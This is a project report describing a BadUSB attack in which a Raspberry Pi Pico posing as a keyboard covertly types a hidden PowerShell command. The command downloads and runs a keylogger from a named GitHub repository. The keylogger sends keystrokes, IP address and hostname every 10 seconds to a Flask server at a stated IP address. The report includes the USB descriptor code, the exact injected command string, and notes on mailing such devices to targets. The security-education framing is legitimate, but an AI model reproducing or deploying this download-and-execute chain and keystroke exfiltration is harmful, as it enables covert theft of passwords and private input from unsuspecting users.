Raspberry Pi Pico-based BadUSB Attack to Upload a Keylogger

Dong Min

December 2023

1 Abstract

A Raspberry Pi Pico is reconfigured as a HID Keyboard device in order to stage a BadUSB attack on a compatible Windows 10 computer. It then launches a powershell script to download a keylogger which sends out keys to a predetermined webserver.

2 Introduction

BadUSB is a type of attack where a USB device has its firmware reprogrammed to carry out malicious activities once plugged in. As there is no way to check the integrity of a USB firmware[1], any device whose firmware can be modified can be tampered with and the host device will accept it as what the device claims to be.

The original exploit used a vulnerability in the update protocol of a certain firmware commonly used in USB thumb drives (Phison 2307) to flash the firmware[2]. However, this firmware is no longer used in currently sold USB drives. Therefore, a microcontroller could instead be coded to present itself as an arbitrary device, like a keyboard, once connected to a computer.

I replicate a BadUSB attack by programming a microcontroller (Raspberry Pi Pico) to act as a HID-compliant USB keyboard, which then types in keystrokes to download a keylogger script through PowerShell in Windows. The keylogger, once downloaded, sends out the key logs to an already created server by making API requests.

3 Threat Analysis

A BadUSB attack necessarily requires a physical access to the computer. While physical access means the attacker can theoretically do whatever they like, practical concerns regarding the environment, availability and other factors would mean what they can do is rather limited, e.g. a computer in a public space

like a library is going to be monitored by someone and there is a limit to what you can do without being conspicuous. A BadUSB attack helps overcome this practical concern because an attack could take as little as 3 seconds. Therefore, it could be used to exploit any computer available to the public without being caught. A lack of physical access can be circumvented by directly sending USB drives to certain addresses. In 2021, there was a BadUSB attack made by FIN7 hacking group through mailed USB thumb drives to various defense firms with false information to fool users into plugging in the drives into their computers [3]. The most likely threats for this type of attacks are therefore computers available to the public, and individuals working for prominent institutions (governments, defense firms, etc) with known addresses, who can have USB drives mailed to them.

4 USB Descriptors

When a USB device is plugged into a host, the host requires **descriptors** from the device to properly identify the attributes of the device and do appropriate actions, such as loading a matching driver. This is done by the host sending **setup packets** to the device. The first type it requires is the **device descriptor**. It contains a general information about the device.

Device Descriptors have the following format:

```
typedef struct __attribute__((__packed__))
{
  uint8_t  bLength            ; // Number of bytes of this struct
  uint8_t  bDescriptorType    ; // 1 for device descriptors
  uint16_t bcdUSB             ; // BCD coded; 0x0200 means USB 2.0
  uint8_t  bDeviceClass       ; // Assigned by USB-IF; set to 0
  uint8_t  bDeviceSubClass    ; // Assigned by USB-IF; set to 0
  uint8_t  bDeviceProtocol    ; // Assigned by USB-IF; set to 0
  uint8_t  bMaxPacketSize0    ; // 8,16,64
  uint16_t idVendor           ; // Assigned by USB-IF; Can be arbitrary
  uint16_t idProduct          ; // Assigned by USB-IF; Can be arbitrary
  uint16_t bcdDevice          ; // Device version number; Can be arbitrary
  uint8_t  iManufacturer      ; // Index of string descriptor
  uint8_t  iProduct           ; // Index of string descriptor
  uint8_t  iSerialNumber      ; // Index of string descriptor
  uint8_t  bNumConfigurations ; // Number of configurations
} device_descriptor_t;
```

It should be noted that `bLength` = 18 since there are 18 bytes total, and `bNumConfigurations` = 1.

The device then requests for a **configuration descriptor**, made up of **configuration**, **interface**, **HID**, and **endpoint** descriptors [4]. In general, a device can many configurations; a configuration can have many interfaces, which in

turn can have many endpoints. For HID devices specifically, an HID descriptor should follow the interface descriptor.

Configuration descriptor has the following format:

```
uint8_t const desc[] = {
//Configuration Descriptor
...
  //Interface Descriptor
  9, //bLength of interface descriptor
  4, //bDescriptorType is 4 which means INTERFACE
...
  1, //bNumEndpoints: number of endpoints of this interface
  3, //bInterfaceClass: 3 means HID device
  1, //bInterfaceSubClass: 1 means boot device
  1, //bInterfaceProtocol: 1 means keyboard
...
  //HID Descriptor
  9,        //bLength
  0x21,     //bDescriptorType: 0x21 for HID
            //bcdHID: 0x0111 means HID version 1.11
  0x11,     //lower byte
  0x01,     //upper byte
  0,        //bCountryCode: not used
  1,        //bNumDescriptors: there is only 1 HID descriptor
  34,       //bDescriptorType: 34 means report descriptor
            //wDescriptorLength
  (uint8_t)(65 & 0xff),
  (uint8_t)((65 >> 8) & 0xff),
  //Endpoint Descriptor (number of bytes to send)
  7, //bLength
  5, //bDescriptorType ENDPOINT
  0x81, //bEndpointAddress: ENDPOINT 1, IN
  0x03, //bmAttributes: Interrupt
  (uint8_t)(16 & 0xff),
  (uint8_t)((16>>8) & 0xff), //00010000 = 16 bytes to send
  5  //sent every 5 frames: 5 ms
}
```

The interface descriptor identifies the device as a HID-compliant keyboard device, and the endpoint descriptor determines the number of bytes the keyboard will send to the host (16 bytes). The host polls the keyboard every 5 ms, then the keyboard sends its current state.

The HID descriptor identifies the length of **HID report descriptor** which is 65 bytes. After the host has received the configuration descriptor, it needs to request the HID report descriptor to identify the format of data the keyboard sends to the host [5].

HID report descriptor:

```
0x05, 0x01, //USAGE_PAGE (Generic Desktop)
0x09, 0x06, //USAGE (Keyboard)
0xA1, 0x01, //Collection (Application)
0x05, 0x07, //USAGE_PAGE (Keyboard)
0x19, 0xE0, //USAGE_MIN (Left Ctrl)
0x29, 0xE7, //USAGE_MAX (Right GUI)
0x15, 0x00, //Logic Min (0)
0x25, 0x01, //Logic Max (1)
0x75, 0x01, //report size 1
0x95, 0x08, //report count 8
0x81, 0x02, //input (data,variable,absolute): modifier byte,
each bit tells which key(left ctrl ~ right gui) is activated
0x95, 0x01, //report count 1
0x75, 0x08, //report size 8
0x81, 0x03, //input (const, variable, absolute): reserved byte
0x95, 0x05, //report count 5
0x75, 0x01, //report size 1
0x05, 0x08, //usage page (leds)
0x19, 0x01, //usage min numlock
0x29, 0x05, //usage max kana
0x91, 0x02, //output(data,var,abs): computer outputs state of leds to keyboard, 5 bits
0x95, 0x01, //report count 1
0x75, 0x03, //report size 3
0x91, 0x03, //output(const,var,abs): 3 extra bits in led output for padding
0x05, 0x07, //usage page keyboard
0x95, 0x06, //report count 6
0x75, 0x08, //report size 8
0x15, 0x00, //logic min 0
0x25, 0xff, 0x00, //logic max 255
0x19, 0x00, //usage min 0
0x29, 0xff, 0x00, //usage max 255
0x81, 0x00, //input (data,ary,abs): 6 keycode bytes
0xC0 //end collection
```

The HID Report descriptor specifies the format of the inputs from the keyboard, and the outputs from the computer to the keyboard. The keyboard sends 8 bytes in total: 1 for modifier bits, 1 reserved byte, and 6 keycodes, meaning it can send up to 6 simultaneously pressed keys (plus modifier keys like Ctrl, Alt, Shift, and GUI/Windows) at a single time.

The modifier byte has either 0 or 1 for each modifier keys. The reserved byte is simply set to 0.

The host can also send data to the keyboard, for led states for scroll/caps/numlock. It is a single byte where 5 bits each represent NUM LOCK, CAPS LOCK, SCROLL LOCK, COMPOSE, and KANA. Extra 3 bits are set to 0 as a padding.

```
Input bytes (8) format:
```

```
LSB [ MODIFIER | RESERVED | KEYCODE[0] | ... | KEYCODE[5] ] MSB

MODIFIER:
[ LCTRL | LSHIFT | LALT | LGUI | RCTRL | RSHIFT | RALT | RGUI ]
RESERVED:
[ 0 0 0 0 0 0 0 0 ]

Output byte (1) format:
[ NUMLOCK | CAPSLOCK | SCROLLLOCK | COMPOSE | KANA | 0 | 0 | 0 ]
```

5 TinyUSB

TinyUSB is a library which handles USB protocols for various microcontrollers. It allows for sending and receiving USB packets easily. It can catch setup packets from the host, and use callback functions depending on the type of request. In particular, it exposes

```
tud_descriptor_device_cb,
tud_descriptor_configuration_cb,
tud_hid_descriptor_report_cb
```

which are callback functions that are called when the host request for device, configuration, and HID report descriptors respectively. Each function can simply return the corresponding descriptors as char or uint8_t arrays.

When the Raspberry Pico is first plugged in, the board and tinyusb is initialized first, then goes into a infinite loop calling tusb_task() and hid_task() repeatedly. tusb_task() fetches all received USB setup packets in a queue by osal_queue_receive(). These setup packets will contain requests to get descriptors from the device; and the callback functions mentioned above are called accordingly here.

hid_task() contains the actual code to send keyboard inputs. The string to be inputted is

```
"~r~powershel~l -w h iwr 'ht~tps:/~/raw.githubusercontent.com/map3
2/cybersecurity-badusb/main/hey2.ps1' | iex\n"
```

It inputs Windows+R to open a Windows run window, then types in

```
powershell -w h iwr 'https://raw.githubusercontent.com/map32/cyber
security-badusb/main/hey2.ps1' | iex
```

then types in Enter to execute the command. It opens a Powershell environment with window hidden, downloads a Powershell file from GitHub and executes it.

Because tusb_task() which handles the descriptor requests is executed alongside with hid_task(), immediately trying to input from hid_task() is a problem since the device may not have been configured yet. So is there as a dummy character that does not output anything. This is also useful because consecutive

characters in the string input has to be broken up with a dummy character as well, since consecutively sending a keyboard data with the same key pressed is the same as holding that key down.

The usual wait time between characters is 10 ms. The exceptions is at the very first index, where wait time is 700 ms. This is to first wait for the device to be configured. On the second index (" **r** power") the modifier byte is set to 0b00001000, which says a Left GUI key (Windows key on Windows) is pressed. In general, the program appropriately sets modifier byte as 0b00000010 (Left Shift) if the char to be inputted requires a Shift press.

6 Keylogger

hey2.ps1 is the actual file containing the keylogger. It contains a Powershell function to make a POST request to a server, and a C# code which is the actual keylogger.

The `Send-Data` Powershell function takes in a logged string as an argument. It then calls `http://ifconfig.me/ip` to get this network's public ip address, gets the hostname of the computer, packs it into JSON and sends a POST request to `http://18.222.183.100:5000/post`.

`SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);` is a Windows-defined function which calls `hookProc` everytime a keypress is detected. `hookProc` adds the typed character to `buf`.

The program also calls `TimerStart` which sets up a timer every 10 seconds to call `callee`, which calls external `Send-Data` with `buf` then empties it. So it sends out whatever was typed in the past 10 seconds to a server.

Note the function making the API call is the external Powershell function `Send-Data`. This was done because of dependency problems with using .NET libraries for necessary API calls and JSON manipulation. One problem with this approach is that `callee` is called by a Timer, which creates or uses a different thread to run that function. Powershell functions cannot be normally called on a different thread than the one it was defined on, because they do not have the same runspace. So the Powershell default runspace of the main thread is passed on as a parameter to `callee`.

7 Server

The server is a simple Flask app with address `18.222.183.100:5000` hosted on an Amazon EC2 free instance. It receives data through `/post`, which is simply stored inside `data.json` file. `/post` receives the keystrokes, the ip address, and the hostname. The server then adds a timestamp and appends it to `data.json`. The server simply shows all the logged keys with corresponding information.

8 Future Work

First of all, this was done through a microcontroller, and not an exploitable USB thumb drive. This means that it would not be feasible to mail this to people without raising suspicion. One way is to simply create a device that more resembles a USB drive. Also, the descriptor code only allows the device to be configured as a keyboard. In the future, it could also be configured as a composite device which can input various types of inputs like keystrokes, mouse movements, joystick inputs, and many more. In addition, the device does not have to be configured as an HID to exploit the computer. For example, if it were to be configured as a WiFi router, with a controller that has WiFi capability, it could be used as a hardware packet sniffer.

9 Conclusion

BadUSB attack exploits the inherent trust the computer has in user inputs to execute arbitrary commands. While it requires a physical connection to do so, it is still a very dangerous type of attack that has no real recourse once the device is connected.

References

[1] Andy Greenberg. *Why the Security of USB Is Fundamentally Broken*. July 2014. URL: https://www.wired.com/2014/07/usb-security/.

[2] James Cook. *Hackers Have Figured Out A Major Security Flaw In USB Sticks*. Jan. 2014. URL: https://www.businessinsider.com/hackers-infect-phison-usb-sticks-with-badusb-2014-10.

[3] Connor Jones. *FBI warns of hackers mailing malicious USB sticks to businesses*. Jan. 2022. URL: https://www.itpro.com/security/cyber-attacks/361932/fbi-warning-badusb-attacks-us-businesses.

[4] *USB Made Simple: Part 4 - Protocol*. URL: https://www.usbmadesimple.co.uk/ums_4.htm.

[5] *Device Class Definition for Human Interface Devices (HID)*. URL: https://www.usb.org/sites/default/files/hid1_11.pdf.